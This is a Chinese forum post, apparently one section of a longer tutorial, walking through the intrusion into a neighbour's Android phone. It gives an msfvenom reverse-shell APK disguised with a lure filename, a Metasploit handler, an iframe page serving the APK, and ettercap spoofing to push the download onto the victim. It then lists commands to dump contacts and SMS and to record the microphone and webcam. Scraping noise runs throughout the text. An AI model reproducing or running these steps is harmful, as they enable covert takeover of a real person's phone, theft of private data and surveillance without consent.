|
( r }4 e9 U8 S/ @9 y) r 五、msf+ettercap入侵邻居安卓手机 " T# ]* w( t7 ]2 l* u- d; V" Y [
7 b8 l$ v/ I) p7 C
' c1 r2 a' S; U$ q8 [+ l 首先启动msf
, ^7 k& L: K2 ~; Y 8 P0 J$ b5 p. u
) g$ S' H1 L2 b- i' b9 e% f 先用kali生成一个安卓木马，如下命令： z9 d+ _7 U, T4 ^) v
/ A+ |6 w! i: c* ^$ j- p% i, K; [; S, |0 V2 ?/ Y B
Msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=44444 -o ~/Desktop/ribenav.apk
3 M4 g: ]0 I7 ]) d: K8 Z
1 j( }' j$ ^1 d4 c1 O% F9 Q6 P1 ^! i/ D; b( N f, j
 为了能让对方下载以后安装我这里将马的名字命名为ribenav.apk,哈哈邻居可是个“大色鬼”，就不适用替换下载的方法了，据我所知，邻居频繁使用手机浏览器浏览新闻
1 L+ s" j3 B0 v! a2 [ V
3 @; ]% o7 T! a; k7 c
/ r4 t4 i' _/ l 然后进入msf
% p4 g7 c& ~) t. i
( C3 h! w/ r; R& _8 ~% @ O
: a3 i1 h" p( M3 [" s use exploit/multi/handler ; H% I# Q6 S- j1 i
2 G5 O9 s9 G4 f" L
& ]/ O& L" R/ x; {6 N0 F' g, i4 Z
set payload android/meterpreter/reverse_tcp
1 x2 L4 w+ G" I5 v . d% w% P; V8 O8 I/ u( h( g
( V2 }( e1 W- a
set LHOST 192.168.0.109 //ip为kaili的ip 8 _( G8 n: m9 K' v4 k
2 A% j" u/ g& Y2 u3 y
8 v( d& y j2 ^- R# \$ B set LPORT 44444 //端口一定要与前面生成的木马的端口一致
1 u5 C, L# w. B/ f, g6 o
8 v) E: A' C6 _! @# F$ _
+ B7 k9 ~" p" @" e; |0 r2 m, u Exploit : d( Y7 u: r: H; n6 t- J4 A2 a
" v, W8 w5 }. d0 S! \9 L, `) a- q1 c3 t6 _7 s
, [$ _/ g# h9 z- h ; k G6 l+ S$ `3 c9 v4 L! B
8 V" t& v% f) F! {$ T x/ m 下面我们开启ettercap -G 8 ^1 M9 K2 b2 d- p- l: w, Z( ]3 z
- P' Y9 P; [' r2 t- n3 c: s
) n( {* k0 d# q 我物理IP为
3 {- A) p& N: [1 _% d 5 W0 x/ w8 O. _$ m
: w8 C6 M$ O8 j' t1 I7 ]" P+ R/ k 
2 w1 ?2 S T* V7 Q3 w- B9 t+ [: } 0 f h; |5 [+ s$ j( _4 K
: F1 ?1 ]! `+ ^& C- F
别到时候再把我物理机欺骗了，之前测试物理机只装腾讯管家是可以成功欺骗的，
" i2 K ]2 E$ l% c ^, G* v- u8 | 0 Z; ^6 T4 X3 c& p9 u
/ g* m% s; U5 T( }9 T0 y 下面我们来设置一下
+ Z A A% j5 H0 h( {' Q4 r, V
: D, x' X2 m- j9 K! `4 _
- `2 ^$ [( z2 L& f0 O# H" F 
r3 x# {/ e0 i, ^' l! N% d, d0 ]
* N1 _+ I; X2 T1 Y6 l. Z: d" r4 s* W& \, r( T- }1 A- X- o
在开启欺骗之前我们先把生成的apk马丢到kaili var/www/html下，并创建一个index.htm文件内容为：<iframe src=http://192.168.0.109/ribenav.apk></iframe>,因为apk文件嘛要想直接提示下载，用iframe语句就OK了， 7 L: @, Z3 B0 d- W. n I& d
6 ~' _0 C: M( {" K9 |( \
$ l, i% y1 y' y" |4 {9 k
$ h% y0 ] e& m3 p/ J5 t! Z6 w! O7 x
: G4 G- ~' `. T, B a
3 E, J v1 {( z' v 
2 B T3 A" r, I; U5 g $ H1 y) D) t1 q; F2 E
' x; C5 V% t% P- |! q2 o2 j7 x$ u& M
0 Q0 k: T& }" l4 U. y, ? , G! _: S* b4 L) w9 l
; u% i7 g5 L; B) H
4 V: J, c# G) u0 B8 g' G
7 ~4 J- P6 `2 X
+ y! W! u" h8 q, p$ ]
% n( y* A" V( Z* }% L1 A& X
4 `' ]/ N/ D0 q" F2 ^) p5 O! B" }' g1 N3 j
+ r3 P9 j* r) T+ q" K0 l4 U ( ]6 e; Z; J% i7 {$ h; @
# d9 P# \ \9 o/ k- }, ? ! \8 b& `8 ?8 k
' y8 P! v! r4 x9 o+ ^( [" e: T; h! ^1 O0 n! B
: M; q5 R. }9 l/ s / J* v" N1 s9 a3 U
5 w C( S& M7 R% h) E
0 t, A/ ~& G! \. p3 e
4 u$ e7 i' g9 E( z: F' }8 N8 h4 F" Q; d% L3 u: F; F
9 G" D* {' t" w4 }" t4 }* ~
& F' Y% S5 U0 S% s) D
. H8 \, Z( c" b, D. n8 B/ w ! L: r7 z" w4 {2 B& Y6 T
- r6 O3 z2 v) R- Z" y8 {" s/ q) z+ j. v
8 Z* S, k2 V. \4 H
. [: d! X1 S9 Y) F& W
# \9 q; s3 l) a# w" x9 ?- O0 n2 r6 @; W 
5 q" F; r2 N. i4 i* f; a, H 9 }5 ?- C7 Q' J/ J7 h# v8 K) ]
6 F5 g6 k N+ f$ Q, t7 E" P
下面我们开始攻击 + J/ i" p) J: q$ e9 b
4 r$ d# ~0 v' q
3 D3 B" @) U$ e/ M" [ i- w4 o
$ K4 L9 Z2 ~) j- R( j
2 t" G& Y! c' Q- J4 [
" a" l* Z5 I. m, t4 i( Q8 i # I4 b! X/ ` u! U7 ]: S2 L
! y b( Y$ O& B' U" _" V' B3 H/ S, i
+ \6 m6 X. A6 c) M! u3 u1 o5 c
5 x! Y- R( J% D( B# W: P! Q% l
' d! I. B+ C Q5 z3 P8 x6 V0 b, y
) Z" N$ B' |1 n9 l " Z: s. p; ]( [+ y% h; P
# x( S, S& S2 q# Q3 q8 g: @
, G& z: _1 ^3 J2 K
 $ t, O4 a- s0 T
7 }6 i( {. |, M8 {
& X1 I0 V/ j6 J* O9 X 大概过了5分钟多，发现反弹成功了
0 c; Y& y7 \8 g - [9 z5 P' t+ q
# o2 _; i3 j' o# U8 B% r* v
7 i* ^- |; W6 A5 ~6 q8 `3 E
& Z- g* U y; p* P$ q" K7 \
6 X4 @# n! H! c K: t0 T " N1 }7 j, M% ?) `& p0 L
6 [, t5 @+ v* i: p$ _
1 x1 ?* k% y. ]
* \# k2 V+ M1 X5 f1 B) j" E/ `
0 |! ~6 V) B9 Z- y1 g
m* G; U* L0 M& n; P/ S+ x. D
/ T6 h' h2 t8 r$ B& `
$ l+ [& ]" `! T* d* Q# F- ]$ T5 i5 `: }2 M
; G* p7 W: C! G+ E/ ^ 2 h: w) d3 g$ C( k
1 O) y' w0 s8 M# c 2 @: d4 z& w/ ]1 F' h- H
# e* ^9 I/ r( f+ Y5 }0 j, q! P+ g( E+ @) @# I7 z" H& N8 p
8 F i# h0 |) v |2 [7 n& X3 f
: B: j7 `% n; ^* }4 O& y9 b. C" m/ F; `) ^
执行命令 * V0 M! \! r* v) Z6 M6 I
' W- H8 U" d' v- I+ K' M" j
/ T! a% d* t" |- x7 U9 X- y 3 _# P& p" i% u# V7 z& @# A
9 e6 l/ L% O2 k, I) h
1 b4 t E ]! U7 u9 U: h; h
dump_contacts --》这个是导出电话 7 V. C) V1 u% V& \9 K
- z/ M; t7 P2 D) A" ^- {+ r# Z+ y. I" ]/ M% m, o+ p8 `8 j
dump_sms --》这个是导出信息
9 n7 ]$ [ x7 L: ` _$ i
- k+ {$ W2 \" G5 r% E3 `7 L- `/ A5 H- z6 ]' i7 u1 Y
record_mic Record audio from the default microphone for X seconds
# Q0 R* J8 t2 l1 W; M" |% P
0 [ _- A" k9 I* P* m V i$ q, c( P- Q
webcam_chat Start a video chat
5 s2 K% S9 S, v, l3 b" f
9 O$ n: L7 H |8 f; O; O0 @3 C$ d4 v5 j/ y0 X( V
webcam_list List webcams
) _6 T9 {, }( }0 n9 q2 `7 {
, t& l0 R' [5 D C4 m
w' h- b U8 ?" Y: q, x webcam_snap Take a snapshot from the specified webcam
4 T; f! E0 B' J3 }# {4 w7 g
, l; `& c' I+ d! T4 e+ X
/ q# p$ u4 X" Q- J& \8 G2 _ webcam_stream  lay a video stream from the specified webcam 5 I; e$ y: ?( J5 m u4 X3 s
0 ~, n# |4 w4 u" w+ u; Y* Q
# ^# |* I: ]7 R, l/ v P* X& l  ' |- K# ]% [* h& z) I
0 H+ B* `* _2 z7 O, e3 x& B% n- i6 y/ F1 F; {, o$ J8 q# @
 5 p$ M& h1 J4 T; n% O) S% \
& |# C) d7 ~# g& h- ^5 c- O% Q' V. a
& S0 w" U% i' q& V 我们打开看一下电话薄，
2 w; I. ]9 Q t) ?7 j& j3 h6 [ " X# _3 e' p4 X& Q' S' h
$ H* | b$ L, D2 v J1 z& y/ U
' ], k" d& _! `8 F) H
7 R9 ]- D9 P, z7 I: ]! D
" f& W6 b7 U' ~& C" V/ ]* g( G  3 \0 ~2 \9 k3 K4 N, P* X; C
& W( K; T" G' C
x& v* \( D9 c7 ]' o 8 f+ I: L3 P2 w
2 J2 p# ~/ y. [
: e, M' l; v' R& t% k
1 ^, e3 y* X8 j& p& ?. x- h# N. Z) f f5 y3 y9 b- }0 V6 h6 S
5 B3 ?% A: v3 R% q5 g" q4 Q- a  " F# F# z6 m( B' I1 D
+ g) E* v( u- j; W* ^* ]" N% N1 \' h9 ~
6 a1 \) m! D ~/ O7 Z _+ T* R
! _7 e- k$ g1 \4 j0 X
/ l5 E: W/ w0 c. h9 i# V6 C# {, ~1 ? 我们同时欺骗成DroidJack木马，使用方法如图： " }# |# O, o) V( N. M$ @9 b
8 Y ~2 [) {$ G$ `: M& N. Y
1 d) f' Q1 B' n: c4 J9 Z
( J3 m' t( P" }+ Z7 v 6 Z# h" `) a+ d" `) U( p# K
) _. k/ f# r2 v& H& f. h
" o$ ^6 P$ t- W: p; K9 F) Z- V( l
$ G9 `' i/ @( J- X1 v: |* F0 h3 m: S& D$ W" E9 E/ B& H) K
 # r3 ]/ s6 _3 T' S- v1 c) R3 X
$ x* }, f$ `2 Q4 P5 @
7 V2 x7 [- I8 g. m$ l
切记在前面生成完马以后记得在这里选择开关为on，并且对应前面生成马的时候的端口 " \6 U% c* L g; t- x
3 Y8 k( b* X% T# ~0 o0 r) s3 [$ m: O
4 T. f4 K9 u* F  - D0 {$ B0 h4 J' O8 |1 |) }
* ^( v& U! \% e3 `, h- [3 A
# r) I, H/ I- S6 T9 T7 {, `) y* d* z  " @# g+ N3 s1 q! [9 D% m# F, P
& X3 S+ |6 s+ K8 g$ e. N0 W2 e, }3 G$ `1 }4 D0 F9 ~+ y
' p# v& I' T2 [. S, c( S4 H
' F( m8 ^' q+ Q, S6 }1 y4 _8 l# ~7 u, G$ `
  # D1 [. q- @. ]# R$ R! M
+ c/ Q4 Z7 u0 m8 ]. p' `. D0 C# w* q2 o+ l7 h- G
# w: h6 Y6 m: }7 y4 S+ u | 
发表于 2018-10-20 20:30:37
收藏
支持
反对